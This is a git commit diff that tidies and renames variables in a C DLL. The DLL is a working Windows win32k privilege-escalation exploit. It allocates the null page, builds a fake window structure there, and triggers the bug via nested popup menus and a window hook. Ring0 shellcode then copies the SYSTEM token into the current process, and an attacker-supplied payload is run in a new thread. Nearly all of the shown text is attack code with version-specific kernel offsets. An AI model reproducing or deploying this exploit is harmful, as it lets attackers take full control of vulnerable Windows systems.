More code tidy and unifying of stuff
This commit is contained in:
parent
0e761575c8
commit
6f3b373f01
|
@ -13,6 +13,7 @@
|
|||
#undef WIN32_NO_STATUS
|
||||
|
||||
#ifdef DEBUGGING
|
||||
// only needed because of the output printf stuff when debugging
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
|
||||
|
@ -21,19 +22,8 @@ typedef __success(return >= 0) LONG NTSTATUS;
|
|||
typedef NTSTATUS *PNTSTATUS;
|
||||
#endif
|
||||
|
||||
#ifdef _M_X64
|
||||
typedef unsigned __int64 QWORD;
|
||||
typedef QWORD *PQWORD;
|
||||
#endif
|
||||
|
||||
#define PTR_SIZE sizeof(UINT_PTR)
|
||||
|
||||
int WndProcClue = 0;
|
||||
int HookCallbackClue = 0;
|
||||
WNDPROC lpPrevWndFunc;
|
||||
DWORD MyProcessId = 0;
|
||||
DWORD OffsetWindows = 0;
|
||||
|
||||
typedef NTSTATUS(NTAPI *lNtAllocateVirtualMemory)(
|
||||
IN HANDLE ProcessHandle,
|
||||
IN PVOID *BaseAddress,
|
||||
|
@ -75,13 +65,20 @@ typedef struct _SYSTEM_MODULE_INFORMATION
|
|||
SYSTEM_MODULE Modules[0];
|
||||
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
BOOL bWndProcFlag = FALSE;
|
||||
BOOL bHookCallbackFlag = FALSE;
|
||||
|
||||
WNDPROC lpPrevWndFunc;
|
||||
DWORD dwMyProcessId = 0;
|
||||
DWORD dwOffsetWindows = 0;
|
||||
|
||||
lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL;
|
||||
lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL;
|
||||
|
||||
#ifdef DEBUGGING
|
||||
void LogMessage(char* pszFormat, ...)
|
||||
{
|
||||
static char s_acBuf[2048];
|
||||
char s_acBuf[2048];
|
||||
va_list args;
|
||||
va_start(args, pszFormat);
|
||||
vsprintf_s(s_acBuf, sizeof(s_acBuf) - 1, pszFormat, args);
|
||||
|
@ -101,9 +98,9 @@ long CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
|
|||
|
||||
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
if (*(DWORD *)(lParam + PTR_SIZE * 2) == 0x1EB && !HookCallbackClue)
|
||||
if (*(DWORD *)(lParam + PTR_SIZE * 2) == 0x1EB && !bHookCallbackFlag)
|
||||
{
|
||||
HookCallbackClue = 1;
|
||||
bHookCallbackFlag = TRUE;
|
||||
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback))
|
||||
{
|
||||
lpPrevWndFunc = (WNDPROC)SetWindowLongPtrA(*(HWND *)(lParam + PTR_SIZE * 3), GWLP_WNDPROC, (ULONG_PTR)HookCallbackTwo);
|
||||
|
@ -114,9 +111,9 @@ LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam)
|
|||
|
||||
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
if (msg == 289 && WndProcClue != 1)
|
||||
if (msg == 289 && !bWndProcFlag)
|
||||
{
|
||||
WndProcClue = 1;
|
||||
bWndProcFlag = TRUE;
|
||||
PostMessageA(hwnd, 256, 40, 0);
|
||||
PostMessageA(hwnd, 256, 39, 0);
|
||||
PostMessageA(hwnd, 513, 0, 0);
|
||||
|
@ -124,37 +121,35 @@ LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
|
|||
return DefWindowProc(hwnd, msg, wParam, lParam);
|
||||
}
|
||||
|
||||
DWORD_PTR __stdcall get_threadinfo_ptr(void)
|
||||
{
|
||||
#ifdef _M_X64
|
||||
QWORD MyPtiCurrent(void) {
|
||||
void *teb = (void *)__readgsqword(0x30);
|
||||
QWORD Win32ThreadInfo = (QWORD)*((PQWORD)((PBYTE)teb + 0x78));
|
||||
DWORD_PTR Win32ThreadInfo = (DWORD_PTR)*((PDWORD_PTR)((PBYTE)teb + 0x78));
|
||||
|
||||
return Win32ThreadInfo;
|
||||
}
|
||||
#else
|
||||
DWORD __stdcall MyPtiCurrent()
|
||||
{
|
||||
__asm {
|
||||
mov eax, fs : 18h
|
||||
mov eax, [eax + 40h]
|
||||
}
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
int _stdcall shellcode_ring0(int one, int two, int three, int four)
|
||||
{
|
||||
void *my_process_info = NULL;
|
||||
void *system_info = NULL;
|
||||
|
||||
pPsLookupProcessByProcessId((HANDLE)MyProcessId, &my_process_info);
|
||||
pPsLookupProcessByProcessId((HANDLE)dwMyProcessId, &my_process_info);
|
||||
pPsLookupProcessByProcessId((HANDLE)4, &system_info);
|
||||
|
||||
*(PDWORD)((PBYTE)my_process_info + OffsetWindows) = *(PDWORD)((PBYTE)system_info + OffsetWindows);
|
||||
*(PDWORD)((PBYTE)my_process_info + dwOffsetWindows) = *(PDWORD)((PBYTE)system_info + dwOffsetWindows);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI ExecutePayload(LPVOID lpPayload)
|
||||
DWORD WINAPI execute_payload(LPVOID lpPayload)
|
||||
{
|
||||
VOID(*lpCode)() = (VOID(*)())lpPayload;
|
||||
lpCode();
|
||||
|
@ -165,7 +160,7 @@ void Win32kNullPage(LPVOID lpPayload)
|
|||
{
|
||||
HWND hWnd;
|
||||
WNDCLASSA WndClass;
|
||||
LPBYTE promise_land = NULL;
|
||||
LPBYTE lpPromisedLand = NULL;
|
||||
HMODULE hNtdll = NULL;
|
||||
HMODULE ntkrnl = NULL;
|
||||
NTSTATUS status;
|
||||
|
@ -192,7 +187,7 @@ void Win32kNullPage(LPVOID lpPayload)
|
|||
{
|
||||
// Ex: Windows 7 SP1
|
||||
LogMessage("[*] Windows 6.1 found...");
|
||||
OffsetWindows = 0x208;
|
||||
dwOffsetWindows = 0x208;
|
||||
}
|
||||
#else
|
||||
if (VersionInformation.dwMajorVersion == 6)
|
||||
|
@ -201,13 +196,13 @@ void Win32kNullPage(LPVOID lpPayload)
|
|||
{
|
||||
// Ex: Windows 7 SP1
|
||||
LogMessage("[*] Windows 6.1 found...");
|
||||
OffsetWindows = 0xf8;
|
||||
dwOffsetWindows = 0xf8;
|
||||
}
|
||||
else if (!VersionInformation.dwMinorVersion)
|
||||
{
|
||||
// Ex: Windows 2008 R2
|
||||
LogMessage("[*] Windows 6.0 found...");
|
||||
OffsetWindows = 0xe0;
|
||||
dwOffsetWindows = 0xe0;
|
||||
}
|
||||
else
|
||||
{
|
||||
|
@ -219,13 +214,13 @@ void Win32kNullPage(LPVOID lpPayload)
|
|||
{
|
||||
if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows XP SP3
|
||||
LogMessage("[*] Windows 5.1 found...");
|
||||
OffsetWindows = 0xc8;
|
||||
dwOffsetWindows = 0xc8;
|
||||
}
|
||||
else if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 2)
|
||||
{
|
||||
// Ex: Windows 2003 SP2
|
||||
LogMessage("[*] Windows 5.2 found...");
|
||||
OffsetWindows = 0xd8;
|
||||
dwOffsetWindows = 0xd8;
|
||||
}
|
||||
else
|
||||
{
|
||||
|
@ -267,7 +262,6 @@ void Win32kNullPage(LPVOID lpPayload)
|
|||
LogMessage("[*] Requesting Kernel loaded modules...");
|
||||
|
||||
status = pZwQuerySystemInformation(11, &SystemInfoBufferSize, 0, &SystemInfoBufferSize);
|
||||
|
||||
if (SystemInfoBufferSize == 0)
|
||||
{
|
||||
LogMessage("[!] Requesting pZwQuerySystemInformation required length failed");
|
||||
|
@ -291,7 +285,6 @@ void Win32kNullPage(LPVOID lpPayload)
|
|||
return;
|
||||
}
|
||||
|
||||
|
||||
LogMessage("[*] Parsing SYSTEM_INFO...");
|
||||
|
||||
SYSTEM_MODULE_INFORMATION *smi = (SYSTEM_MODULE_INFORMATION *)pSystemInfoBuffer;
|
||||
|
@ -340,7 +333,7 @@ void Win32kNullPage(LPVOID lpPayload)
|
|||
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((DWORD_PTR)nt_base + ((DWORD_PTR)pPsLookupProcessByProcessId - (DWORD_PTR)ntkrnl));
|
||||
LogMessage("[*] pPsLookupProcessByProcessId in kernel: 0x%p\n", pPsLookupProcessByProcessId);
|
||||
|
||||
MyProcessId = GetCurrentProcessId();
|
||||
dwMyProcessId = GetCurrentProcessId();
|
||||
|
||||
// Register Class
|
||||
LogMessage("[*] Registering class...");
|
||||
|
@ -369,18 +362,15 @@ void Win32kNullPage(LPVOID lpPayload)
|
|||
|
||||
LogMessage("[*] Allocating null page...");
|
||||
#ifdef _M_X64
|
||||
ULONGLONG base_address = 0x00000000fffffffb;
|
||||
ULONGLONG dwBaseAddress = 0x00000000fffffffb;
|
||||
#else
|
||||
DWORD base_address = 1;
|
||||
DWORD dwBaseAddress = 1;
|
||||
#endif
|
||||
SIZE_T region_size = 0x1000;
|
||||
ULONG zero_bits = 0;
|
||||
HANDLE current_process = NULL;
|
||||
|
||||
current_process = GetCurrentProcess();
|
||||
|
||||
SIZE_T sRegionSize = 0x1000;
|
||||
ULONG ulAllocationType = MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN;
|
||||
if (pNtAllocateVirtualMemory(current_process, (LPVOID*)&base_address, 0, ®ion_size, ulAllocationType, PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS)
|
||||
|
||||
if (pNtAllocateVirtualMemory(GetCurrentProcess(), (LPVOID*)&dwBaseAddress, 0, &sRegionSize, ulAllocationType, PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS)
|
||||
{
|
||||
LogMessage("[!] Failed to allocate null page");
|
||||
return;
|
||||
|
@ -388,115 +378,111 @@ void Win32kNullPage(LPVOID lpPayload)
|
|||
|
||||
LogMessage("[*] Getting PtiCurrent...");
|
||||
|
||||
#ifdef _M_X64
|
||||
DWORD_PTR pti = MyPtiCurrent();
|
||||
#else
|
||||
DWORD pti = MyPtiCurrent();
|
||||
#endif
|
||||
DWORD_PTR dwThreadInfoPtr = get_threadinfo_ptr();
|
||||
|
||||
if (pti == 0)
|
||||
if (dwThreadInfoPtr == 0)
|
||||
{
|
||||
LoadLibrary("user32.dll");
|
||||
LoadLibrary("gdi32.dll");
|
||||
pti = MyPtiCurrent();
|
||||
dwThreadInfoPtr = get_threadinfo_ptr();
|
||||
}
|
||||
|
||||
if (pti == 0)
|
||||
if (dwThreadInfoPtr == 0)
|
||||
{
|
||||
LogMessage("[!] Filed to get PtiCurrent");
|
||||
LogMessage("[!] Filed to get current thread information");
|
||||
return;
|
||||
}
|
||||
|
||||
LogMessage("[*] Good! pti 0x%p", pti);
|
||||
LogMessage("[*] Good! dwThreadInfoPtr 0x%p", dwThreadInfoPtr);
|
||||
LogMessage("[*] Creating a fake structure at NULL...");
|
||||
|
||||
LPVOID lpPtr = NULL;
|
||||
#ifdef _M_X64
|
||||
void *test = NULL;
|
||||
(QWORD)test = 0x10000000B;
|
||||
*((PQWORD)test) = pti;
|
||||
(DWORD_PTR)lpPtr = 0x10000000B;
|
||||
*((PDWORD_PTR)lpPtr) = dwThreadInfoPtr;
|
||||
|
||||
/* win32k!tagWND->bServerSideWindowProc = TRUE */
|
||||
(QWORD)test = 0x100000025;
|
||||
*((PBYTE)test) = 4;
|
||||
(DWORD_PTR)lpPtr = 0x100000025;
|
||||
*((PBYTE)lpPtr) = 4;
|
||||
|
||||
/* win32k!tagWND->lpfnWndProc = &shellcode_ring0 */
|
||||
(QWORD)test = 0x10000008B;
|
||||
*((PQWORD)test) = (QWORD)&shellcode_ring0;
|
||||
(DWORD_PTR)lpPtr = 0x10000008B;
|
||||
*((PDWORD_PTR)lpPtr) = (DWORD_PTR)shellcode_ring0;
|
||||
#else
|
||||
void *test = promise_land + 3;
|
||||
lpPtr = lpPromisedLand + 3;
|
||||
/* We need to save this check, otherwise unmapped memory will be dereferenced (blue screen)
|
||||
.text:BF8B93F4 02C mov edi, _gptiCurrent
|
||||
.text:BF8B93FA 02C cmp edi, [esi + 8];
|
||||
.text:BF8B93FD 02C jz loc_BF8B
|
||||
*/
|
||||
*(LPDWORD)test = pti;
|
||||
*(LPDWORD)lpPtr = dwThreadInfoPtr;
|
||||
|
||||
*((LPBYTE)(promise_land + 0x11)) = 0x4;
|
||||
*((LPBYTE)(lpPromisedLand + 0x11)) = 0x4;
|
||||
|
||||
test = promise_land + 0x5b;
|
||||
*(LPDWORD)test = (DWORD)shellcode_ring0;
|
||||
lpPtr = lpPromisedLand + 0x5b;
|
||||
*(LPDWORD)lpPtr = (DWORD)shellcode_ring0;
|
||||
#endif
|
||||
|
||||
// Exploit!
|
||||
|
||||
LogMessage("[*] Triggering vulnerability...");
|
||||
HMENU MenuOne = CreatePopupMenu();
|
||||
if (MenuOne == NULL)
|
||||
HMENU hMenuOne = CreatePopupMenu();
|
||||
if (hMenuOne == NULL)
|
||||
{
|
||||
LogMessage("[!] First CreatePopupMenu failed");
|
||||
return;
|
||||
}
|
||||
|
||||
MENUITEMINFOA MenuOneInfo;
|
||||
memset(&MenuOneInfo, 0, sizeof(MENUITEMINFOA));
|
||||
MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
|
||||
MenuOneInfo.fMask = MIIM_STRING;
|
||||
MENUITEMINFOA menuOneInfo;
|
||||
memset(&menuOneInfo, 0, sizeof(MENUITEMINFOA));
|
||||
menuOneInfo.cbSize = sizeof(MENUITEMINFOA);
|
||||
menuOneInfo.fMask = MIIM_STRING;
|
||||
|
||||
if (InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo) != TRUE)
|
||||
if (InsertMenuItemA(hMenuOne, 0, TRUE, &menuOneInfo) != TRUE)
|
||||
{
|
||||
LogMessage("[!] First InsertMenuItemA failed");
|
||||
DestroyMenu(MenuOne);
|
||||
DestroyMenu(hMenuOne);
|
||||
return;
|
||||
}
|
||||
|
||||
HMENU MenuTwo = CreatePopupMenu();
|
||||
if (MenuTwo == NULL)
|
||||
HMENU hMenuTwo = CreatePopupMenu();
|
||||
if (hMenuTwo == NULL)
|
||||
{
|
||||
LogMessage("[!] Second CreatePopupMenu failed");
|
||||
DestroyMenu(MenuOne);
|
||||
DestroyMenu(hMenuOne);
|
||||
return;
|
||||
}
|
||||
|
||||
MENUITEMINFOA MenuTwoInfo;
|
||||
memset(&MenuTwoInfo, 0, sizeof(MENUITEMINFOA));
|
||||
MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
|
||||
MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
|
||||
MenuTwoInfo.dwTypeData = "";
|
||||
MenuTwoInfo.cch = 1;
|
||||
MenuTwoInfo.hSubMenu = MenuOne;
|
||||
MENUITEMINFOA menuTwoInfo;
|
||||
memset(&menuTwoInfo, 0, sizeof(MENUITEMINFOA));
|
||||
menuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
|
||||
menuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
|
||||
menuTwoInfo.dwTypeData = "";
|
||||
menuTwoInfo.cch = 1;
|
||||
menuTwoInfo.hSubMenu = hMenuOne;
|
||||
|
||||
if (InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo) != TRUE)
|
||||
if (InsertMenuItemA(hMenuTwo, 0, TRUE, &menuTwoInfo) != TRUE)
|
||||
{
|
||||
LogMessage("[!] Second InsertMenuItemA failed");
|
||||
DestroyMenu(MenuTwo);
|
||||
DestroyMenu(MenuOne);
|
||||
DestroyMenu(hMenuTwo);
|
||||
DestroyMenu(hMenuOne);
|
||||
return;
|
||||
}
|
||||
|
||||
if (SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId()) == NULL)
|
||||
{
|
||||
LogMessage("[!] SetWindowsHookExA failed :-(\n");
|
||||
DestroyMenu(MenuTwo);
|
||||
DestroyMenu(MenuOne);
|
||||
DestroyMenu(hMenuTwo);
|
||||
DestroyMenu(hMenuOne);
|
||||
return;
|
||||
}
|
||||
|
||||
// 'crash' it!
|
||||
TrackPopupMenu(MenuTwo, 0, -10000, -10000, 0, hWnd, NULL);
|
||||
TrackPopupMenu(hMenuTwo, 0, -10000, -10000, 0, hWnd, NULL);
|
||||
|
||||
// If everything worked process should be privileges at this point
|
||||
LogMessage("[!] Executing payload...");
|
||||
CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL);
|
||||
CreateThread(0, 0, execute_payload, lpPayload, 0, NULL);
|
||||
}
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
|
|
Loading…
Reference in New Issue